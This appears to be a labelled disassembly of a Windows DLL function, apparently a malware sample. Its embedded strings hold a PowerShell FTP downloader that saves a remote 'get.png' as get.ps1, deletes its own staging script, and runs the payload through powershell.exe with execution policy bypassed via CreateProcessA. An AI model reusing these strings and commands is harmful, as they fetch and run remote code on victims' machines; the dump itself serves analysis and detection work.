Function at 0x10002580
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002907a
mov eax, dword fs:[0]
push eax
sub esp, 0x1d4
mov eax, dword [0x1003b068]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x17
push str.c:userspublic_ftp.ps1
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
call fcn.100070d0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x40]
push 0x416
push str.function_FTPDownload__n____param__n_________string__ftpUrl__n_________string__localFilePath__n_________string__ftpUsername__n_________string__ftpPassword_n______n____try__n_________ftpRequest___System.Net.FtpWebRequest_::Create__ftpUrl__n_________ftpRequest.Method___System.Net.WebRequestMethodsFtp_::DownloadFile_n_________ftpRequest.Credentials__New_Object_System.Net.NetworkCredential__ftpUsername___ftpPassword__n_________ftpResponse___ftpRequest.GetResponse___n_________responseStream___ftpResponse.GetResponseStream___n_________fileStream__New_Object_System.IO.FileStream__localFilePath___System.IO.FileMode_::Create__n_________buffer__New_Object_byte___10240_n________while____read___responseStream.Read__buffer__0___buffer.Length____gt_0___n_____________fileStream.Write__buffer__0___read__n_________n_________fileStream.Close___n_____n____catch__n_____n____finally__n________if___responseStream__ne__null___n_____________responseStream.Close___n_________n________if___ftpResponse__ne__null___n_____________ftpResponse.Close___n_________n_____n_n
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
call fcn.100070d0
push str._r_nFTPDownload__ftpUrl__ftp:__
lea edx, [ebp - 0x40]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x180]
call fcn.10007a40
push 0x1003ba20
mov edx, eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1c8]
call fcn.10007cd0
add esp, 8
mov edi, eax
mov byte [ebp - 4], 3
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 0x41
jb 0x10002666
lea eax, [ecx + 0x41]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0x10
jb 0x1000264d
mov eax, dword [edi]
push 0x41
lea esi, [eax + ecx]
push str._get.png___localFilePath__c:userspublicget.ps1___ftpUsername__
push esi
call fcn.10013720
add esp, 0xc
mov byte [esi + 0x41], 0
jmp 0x10002685
push 0x41
push str._get.png___localFilePath__c:userspublicget.ps1___ftpUsername__
mov byte [ebp - 0x168], 0
mov ecx, edi
push dword [ebp - 0x168]
push 0x41
call fcn.10008180
mov edi, eax
mov dword [ebp - 0x154], 0
mov dword [ebp - 0x150], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x164], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x154], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
push 0x1003ba50
lea edx, [ebp - 0x164]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x1b0]
call fcn.10007cd0
add esp, 4
mov edi, eax
mov byte [ebp - 4], 5
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 0x10
jb 0x1000271b
lea eax, [ecx + 0x10]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0x10
jb 0x10002702
mov eax, dword [edi]
push 0x10
lea esi, [eax + ecx]
push str.___ftpPassword__
push esi
call fcn.10013720
add esp, 0xc
mov byte [esi + 0x10], 0
jmp 0x1000273a
push 0x10
push str.___ftpPassword__
mov byte [ebp - 0x168], 0
mov ecx, edi
push dword [ebp - 0x168]
push 0x10
call fcn.10008180
mov edi, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x28], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x18], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
push 0x1003ba08
lea edx, [ebp - 0x28]
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x198]
call fcn.10007cd0
add esp, 4
mov edi, eax
mov byte [ebp - 4], 7
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 1
jb 0x100027c1
lea eax, [ecx + 1]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0x10
jb 0x100027a8
mov eax, dword [edi]
push 1
lea esi, [eax + ecx]
push 0x100374d8
push esi
call fcn.10013720
add esp, 0xc
mov byte [esi + 1], 0
jmp 0x100027e0
push 1
push 0x100374d8
mov byte [ebp - 0x168], 0
mov ecx, edi
push dword [ebp - 0x168]
push 1
call fcn.10008180
mov edi, eax
movups xmm0, xmmword [edi]
lea eax, [ebp - 0x1e0]
push eax
movups xmmword [ebp - 0x1e0], xmm0
lea ecx, [ebp - 0x40]
movq xmm0, qword [edi + 0x10]
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
movq qword [ebp - 0x1d0], xmm0
mov byte [edi], 0
call fcn.10005cf0
mov edx, dword [ebp - 0x1cc]
cmp edx, 0x10
jb 0x10002851
mov ecx, dword [ebp - 0x1e0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10002847
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002d9b
push edx
push ecx
call fcn.10011db8
add esp, 8
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x184]
cmp edx, 0x10
jb 0x1000288f
mov ecx, dword [ebp - 0x198]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10002885
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002da0
push edx
push ecx
call fcn.10011db8
add esp, 8
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x188], 0
mov dword [ebp - 0x184], 0xf
mov byte [ebp - 0x198], 0
cmp edx, 0x10
jb 0x100028e2
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100028d8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002da5
push edx
push ecx
call fcn.10011db8
add esp, 8
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x19c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
cmp edx, 0x10
jb 0x10002932
mov ecx, dword [ebp - 0x1b0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10002928
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002daa
push edx
push ecx
call fcn.10011db8
add esp, 8
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x150]
mov dword [ebp - 0x1a0], 0
mov dword [ebp - 0x19c], 0xf
mov byte [ebp - 0x1b0], 0
cmp edx, 0x10
jb 0x1000298b
mov ecx, dword [ebp - 0x164]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10002981
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002daf
push edx
push ecx
call fcn.10011db8
add esp, 8
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x1b4]
mov dword [ebp - 0x154], 0
mov dword [ebp - 0x150], 0xf
mov byte [ebp - 0x164], 0
cmp edx, 0x10
jb 0x100029e4
mov ecx, dword [ebp - 0x1c8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100029da
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002db4
push edx
push ecx
call fcn.10011db8
add esp, 8
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x16c]
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x1b4], 0xf
mov byte [ebp - 0x1c8], 0
cmp edx, 0x10
jb 0x10002a3d
mov ecx, dword [ebp - 0x180]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10002a33
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002db9
push edx
push ecx
call fcn.10011db8
add esp, 8
push str._r_nRemove_Item__Recurse__Force__Path__c:userspublic_ftp.ps1_
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x180]
call fcn.10007a40
add esp, 4
lea ecx, [ebp - 0x40]
push eax
call fcn.10005cf0
mov edx, dword [ebp - 0x16c]
cmp edx, 0x10
jb 0x10002a96
mov ecx, dword [ebp - 0x180]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10002a8c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002dbe
push edx
push ecx
call fcn.10011db8
add esp, 8
push str._r_nC:WindowsSystem32WindowsPowerShell_v1.0powershell.exe__nop__ep_bypass__f_c:userspublicget.ps1
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x180]
call fcn.10007a40
add esp, 4
lea ecx, [ebp - 0x40]
push eax
call fcn.10005cf0
mov edx, dword [ebp - 0x16c]
cmp edx, 0x10
jb 0x10002aef
mov ecx, dword [ebp - 0x180]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10002ae5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002dc3
push edx
push ecx
call fcn.10011db8
add esp, 8
push 0xb0
lea eax, [ebp - 0x14c]
push 0
push eax
call fcn.10013ca0
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
lea ecx, [ebp - 0x14c]
cmovae eax, dword [ebp - 0x58]
push eax
call fcn.10007210
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x14c]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x150], eax
mov byte [ebp - 4], 8
cmp dword [ebp - 0xfc], 0
je 0x10002c94
cmp dword [ebp - 0x2c], 0x10
lea edx, [ebp - 0x40]
push dword [ebp - 0x30]
cmovae edx, dword [ebp - 0x40]
lea ecx, [ebp - 0x14c]
call fcn.10008e10
add esp, 4
lea ecx, [ebp - 0x148]
call fcn.10007760
test eax, eax
jne 0x10002ba7
mov eax, dword [ebp - 0x14c]
lea ecx, [ebp - 0x14c]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10001ce0
xorps xmm0, xmm0
mov dword [ebp - 0x9c], 0x44
xor eax, eax
movlpd qword [ebp - 0x98], xmm0
push 0x64
push str.C:WindowsSystem32WindowsPowerShell_v1.0powershell.exe__nop__ep_bypass__f_c:userspublic_ftp.ps1
lea ecx, [ebp - 0x28]
movlpd qword [ebp - 0x90], xmm0
movlpd qword [ebp - 0x88], xmm0
movlpd qword [ebp - 0x80], xmm0
movlpd qword [ebp - 0x78], xmm0
movlpd qword [ebp - 0x6a], xmm0
movlpd qword [ebp - 0x62], xmm0
mov word [ebp - 0x5a], ax
movups xmmword [ebp - 0x15c], xmm0
mov dword [ebp - 0x70], 1
mov word [ebp - 0x6c], ax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], al
call fcn.100070d0
cmp dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x15c]
push ecx
lea ecx, [ebp - 0x9c]
push ecx
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10002c72
mov edx, dword [ebp - 0x14]
cmp edx, 0x10
jb 0x10002c94
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10002c8a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002dc8
jmp 0x10002c8a
push dword [ebp - 0x15c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x158]
call esi
jmp 0x10002c46
push edx
push ecx
call fcn.10011db8
add esp, 8
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x14c]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x150], eax
lea ecx, [ebp - 0x148]
call fcn.10006720
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x14c]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x150], eax
lea eax, [ebp - 0xe4]
mov byte [ebp - 4], 9
push eax
mov dword [ebp - 0xe4], vtable.std::ios_base.0
call fcn.100108fb
mov edx, dword [ebp - 0x2c]
add esp, 4
cmp edx, 0x10
jb 0x10002d3e
mov ecx, dword [ebp - 0x40]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10002d34
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002dc8
push edx
push ecx
call fcn.10011db8
add esp, 8
mov edx, dword [ebp - 0x44]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
cmp edx, 0x10
jb 0x10002d80
mov ecx, dword [ebp - 0x58]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10002d76
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002dc8
push edx
push ecx
call fcn.10011db8
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10011911
mov esp, ebp
pop ebp
ret
call fcn.10017f1b
call fcn.10017f1b
call fcn.10017f1b
call fcn.10017f1b
call fcn.10017f1b
call fcn.10017f1b
call fcn.10017f1b
call fcn.10017f1b
call fcn.10017f1b
call fcn.10017f1b
int3